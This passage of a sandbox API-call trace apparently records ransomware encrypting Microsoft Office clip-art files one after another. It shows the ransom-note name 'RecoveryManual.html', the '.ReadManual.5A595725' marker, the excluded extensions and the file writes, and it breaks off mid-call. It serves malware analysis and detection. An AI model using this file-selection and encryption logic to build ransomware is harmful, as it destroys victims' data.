dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.058] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.058] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38672688084) returned 1 [0266.058] CloseHandle (hObject=0x184) returned 1 [0266.058] SetSecurityInfo () returned 0x57 [0266.058] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.058] CloseHandle (hObject=0x194) returned 1 [0266.058] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc447bc00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc447bc00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101864.BMP", cAlternateFileName="")) returned 1 [0266.058] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101864.BMP" | out: lpString1="J0101864.BMP") returned="J0101864.BMP" [0266.059] lstrcmpiW (lpString1="J0101864.BMP", lpString2="RecoveryManual.html") returned -1 [0266.059] StrStrIW (lpFirst="J0101864.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.059] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.059] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.059] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.059] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" [0266.059] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.ReadManual.5A595725" [0266.059] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP.ReadManual.5A595725") returned 87 [0266.059] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38672788226) returned 1 [0266.059] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp")) returned 0x20 [0266.059] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.060] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31968) returned 1 [0266.060] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7ce0, lpName=0x0) returned 0x184 [0266.060] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.060] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.060] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.066] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.066] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7ce0) returned 0x2f0000 [0266.067] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.067] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38673564850) returned 1 [0266.067] CloseHandle (hObject=0x184) returned 1 [0266.067] SetSecurityInfo () returned 0x57 [0266.067] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.067] CloseHandle (hObject=0x194) returned 1 [0266.067] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb98d2700, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb98d2700, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101865.BMP", cAlternateFileName="")) returned 1 [0266.067] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101865.BMP" | out: lpString1="J0101865.BMP") returned="J0101865.BMP" [0266.067] lstrcmpiW (lpString1="J0101865.BMP", lpString2="RecoveryManual.html") returned -1 [0266.067] StrStrIW (lpFirst="J0101865.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.067] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.067] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.067] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.067] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.067] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.068] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.068] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.068] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" [0266.068] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.ReadManual.5A595725" [0266.068] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.ReadManual.5A595725") returned 87 [0266.068] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38673665667) returned 1 [0266.068] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0266.068] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.068] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.068] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.068] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.069] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.069] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.071] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.071] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.071] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.071] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38674028381) returned 1 [0266.072] CloseHandle (hObject=0x184) returned 1 [0266.072] SetSecurityInfo () returned 0x57 [0266.072] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.072] CloseHandle (hObject=0x194) returned 1 [0266.072] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabe5400, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbabe5400, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101866.BMP", cAlternateFileName="")) returned 1 [0266.072] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101866.BMP" | out: lpString1="J0101866.BMP") returned="J0101866.BMP" [0266.072] lstrcmpiW (lpString1="J0101866.BMP", lpString2="RecoveryManual.html") returned -1 [0266.072] StrStrIW (lpFirst="J0101866.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.072] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.072] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.072] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.072] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" [0266.072] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.ReadManual.5A595725" [0266.072] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.ReadManual.5A595725") returned 87 [0266.073] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38674129545) returned 1 [0266.073] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp")) returned 0x20 [0266.073] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.073] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32184) returned 1 [0266.073] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7db8, lpName=0x0) returned 0x184 [0266.073] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.074] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.074] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.076] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.076] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7db8) returned 0x2f0000 [0266.076] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.076] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38674524858) returned 1 [0266.077] CloseHandle (hObject=0x184) returned 1 [0266.077] SetSecurityInfo () returned 0x57 [0266.077] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.077] CloseHandle (hObject=0x194) returned 1 [0266.077] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0266.077] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101867.BMP" | out: lpString1="J0101867.BMP") returned="J0101867.BMP" [0266.077] lstrcmpiW (lpString1="J0101867.BMP", lpString2="RecoveryManual.html") returned -1 [0266.077] StrStrIW (lpFirst="J0101867.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.077] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0266.077] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0266.077] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0266.077] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" [0266.077] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.ReadManual.5A595725" [0266.077] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.ReadManual.5A595725") returned 87 [0266.077] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38674626361) returned 1 [0266.078] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp")) returned 0x20 [0266.078] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.079] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=32616) returned 1 [0266.079] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7f68, lpName=0x0) returned 0x184 [0266.079] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.079] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.080] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.081] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.082] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7f68) returned 0x2f0000 [0266.082] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.082] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38675104361) returned 1 [0266.082] CloseHandle (hObject=0x184) returned 1 [0266.082] SetSecurityInfo () returned 0x57 [0266.082] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.083] CloseHandle (hObject=0x194) returned 1 [0266.083] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0266.083] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0101980.WMF" | out: lpString1="J0101980.WMF") returned="J0101980.WMF" [0266.083] lstrcmpiW (lpString1="J0101980.WMF", lpString2="RecoveryManual.html") returned -1 [0266.083] StrStrIW (lpFirst="J0101980.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.083] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.083] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.083] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.083] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.084] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.084] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" [0266.084] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.ReadManual.5A595725" [0266.084] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.ReadManual.5A595725") returned 87 [0266.084] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38675270899) returned 1 [0266.084] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0266.085] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.085] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16104) returned 1 [0266.085] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ee8, lpName=0x0) returned 0x184 [0266.085] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.086] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.086] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.088] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.088] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ee8) returned 0x2f0000 [0266.088] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.088] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38675695017) returned 1 [0266.088] CloseHandle (hObject=0x184) returned 1 [0266.088] SetSecurityInfo () returned 0x57 [0266.088] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.088] CloseHandle (hObject=0x194) returned 1 [0266.088] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0266.089] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0102002.WMF" | out: lpString1="J0102002.WMF") returned="J0102002.WMF" [0266.089] lstrcmpiW (lpString1="J0102002.WMF", lpString2="RecoveryManual.html") returned -1 [0266.089] StrStrIW (lpFirst="J0102002.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.089] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.089] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.089] StrCmpIW 